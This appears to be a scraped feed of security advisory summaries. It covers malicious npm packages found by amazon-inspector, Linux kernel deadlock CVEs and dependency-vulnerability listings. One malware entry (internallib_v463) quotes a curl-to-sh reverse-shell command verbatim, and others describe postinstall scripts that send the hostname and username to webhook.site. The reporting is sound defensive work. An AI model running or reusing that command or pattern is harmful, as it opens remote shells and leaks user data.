MAL-2026-17159 Malicious code in simple-date-formatter-new-13 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54 [email protected] presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstal...

Malicious code in aliftech-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e61479316af4cfc0884dfe88744a0ed14fa64e052471cc216667c80502689860 postinstall.js runs automatically on npm install and reads os.hostname and os.userInfo.username, then issues an https.get to a hardcoded webhook.site...

MAL-2026-17156 Malicious code in aliftech-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e61479316af4cfc0884dfe88744a0ed14fa64e052471cc216667c80502689860 postinstall.js runs automatically on npm install and reads os.hostname and os.userInfo.username, then issues an https.get to a hardcoded webhook.site...

MAL-2026-17153 Malicious code in @birbalo/aliftech-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f6392dad6c7467b1d2b75c329d517982f061f3ca0792b8879b72127813d26aa8 The npm package @birbalo/[email protected] ships a postinstall.js lifecycle script that runs automatically on npm install. The script imports the...

Malicious code in @birbalo/aliftech-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f6392dad6c7467b1d2b75c329d517982f061f3ca0792b8879b72127813d26aa8 The npm package @birbalo/[email protected] ships a postinstall.js lifecycle script that runs automatically on npm install. The script imports the...

@5ss/ai-tools (>=2.11.1, <=2.11.3), @aem-screens/franklin-variation-creator (1.0.0-B001) +265 more potentially affected by CVE-2026-97151 via mammoth (>=1.3.6, <=1.12.1)

mammoth NPM version =1.3.6, =2.11.1, =0.9.1, =3.4.1, =0.0.1, =1.0.0, =0.5.5, =0.0.9, =0.1.5, =1.1.0, =1.2.1, =0.1.13, =0.1.14 - @catmasks/free-editor 1.0.1 and more Source cves: CVE-2026-97151 Source advisory: MEND:CVE-2026-97151...

CVE-2026-93252

In the Linux kernel, the following vulnerability has been resolved: ocfs2: fix circular locking dependency in ocfs2initacl A lockdep warning indicates a circular locking dependency between &oi-ipxattrsem and &journal-jtransbarrier: WARNING: possible circular locking dependency detected is trying ...

CVE-2026-93269: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: ext4: fix circular lock dependency in ext4extmigrate Move iputtmpinode after ext4writepagesupwrite to avoid a circular lock dependency between swritepagesrwsem and sbinternal freeze protection. The deadlock scenario: CPU0...

CVE-2026-93252: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: ocfs2: fix circular locking dependency in ocfs2initacl A lockdep warning indicates a circular locking dependency between &oi-ipxattrsem and &journal-jtransbarrier: WARNING: possible circular locking dependency detected is trying ...

Linux Distros Unpatched Vulnerability : CVE-2026-93252

"The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ocfs2: fix circular locking dependency in ocfs2initacl A lockdep warning indicates a circular locking dependency between &oi-ipxattrsem and...

CVE-2026-93269

In the Linux kernel, the following vulnerability has been resolved: ext4: fix circular lock dependency in ext4extmigrate Move iputtmpinode after ext4writepagesupwrite to avoid a circular lock dependency between swritepagesrwsem and sbinternal freeze protection. The deadlock scenario: CPU0...

Linux Distros Unpatched Vulnerability : CVE-2026-93268

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ext4: skip extra isize expansion during mount to prevent deadlock ext4trytoexpandextraisize is called from ext4markinodedirty while holding an active jbd2 handl...

Linux Distros Unpatched Vulnerability : CVE-2026-93269

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ext4: fix circular lock dependency in ext4extmigrate Move iputtmpinode after ext4writepagesupwrite to avoid a circular lock dependency between swritepagesrwsem...

@228-fund/elysia-effect (0.0.1), @228-fund/elysia-msgpack (>=0.0.1, <=0.0.3) +77 more potentially affected by CVE-2026-56669 via elysia (>=1.0.9, <=1.4.28)

elysia NPM version =1.0.9, =0.0.1, =0.1.0, =0.0.1, =0.0.1, =0.1.0, =0.1.4, =0.1.0, =0.1.0-next.4, =1.0.0-next.4, =1.0.0, =0.0.1, =1.0.0, =1.0.2 and more Source cves: CVE-2026-56669 Source advisory: GHSA-9643-4QGH-G8MX...

Malicious code in internallib_v463 (npm)

Source: amazon-inspector 0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7 index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported...

com.github.fsanaulla:chronicler-ahc-io_2.12 (>=0.6.5, <=0.7.0), com.github.fsanaulla:chronicler-ahc-management_2.12 (>=0.6.5, <=0.7.0) +37 more potentially affected by CVE-2026-61814 via org.typelevel:jawn-parser_2.12 (0.14.3)

org.typelevel:jawn-parser2.12 MAVEN version 0.14.3 is affected by a known vulnerability. The following packages have a transitive dependency on org.typelevel:jawn-parser2.12 and may be impacted: - com.github.fsanaulla:chronicler-ahc-io2.12 =0.6.5, =0.6.5, =0.6.5, =0.6.5, =0.6.5, =0.6.5, =0.6.5,...

ai.mantik:bridge-protocol_2.13 (>=0.4.0-rc1, <=0.4.0), ai.mantik:componently_2.13 (>=0.4.0-rc1, <=0.4.0) +1723 more potentially affected by CVE-2026-59990 via org.typelevel:jawn-parser_2.13 (>=1.0.0-rc1, <=1.6.0)

org.typelevel:jawn-parser2.13 MAVEN version =1.0.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0-rc1, =0.4.0 and more Source cves: CVE-2026-59990 Source advisory:...

africa.shuwari.sbt:sbt-js_2.12_1.0 (>=0.14.1, <=0.16.1), africa.shuwari.sbt:sbt-netbeans_2.12_1.0 (>=0.1.0, <=0.1.1) +1424 more potentially affected by CVE-2026-77421 via org.jline:jline-builtins (>=3.2.0, <=3.30.14)

org.jline:jline-builtins MAVEN version =3.2.0, =0.14.1, =0.1.0, =0.9.6, =0.15.3, =0.12.0, =0.9.6, =0.15.3, =0.9.6, =0.9.6, =0.15.3, =0.9.6, =0.15.3, =0.14.1, =0.9.6, =0.14.3 and more Source cves: CVE-2026-77421 Source advisory: SNYK:JAVA-ORGJLINE-20078913...

CVE-2026-52744

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

africa.shuwari.sbt:sbt-js_2.12_1.0 (>=0.14.1, <=0.16.1), africa.shuwari.sbt:sbt-netbeans_2.12_1.0 (>=0.1.0, <=0.1.1) +1424 more potentially affected by CVE-2026-77423 via org.jline:jline-builtins (>=3.2.0, <=3.30.14)

org.jline:jline-builtins MAVEN version =3.2.0, =0.14.1, =0.1.0, =0.9.6, =0.15.3, =0.12.0, =0.9.6, =0.15.3, =0.9.6, =0.9.6, =0.15.3, =0.9.6, =0.15.3, =0.14.1, =0.9.6, =0.14.3 and more Source cves: CVE-2026-77423 Source advisory: SNYK:JAVA-ORGJLINE-20078915...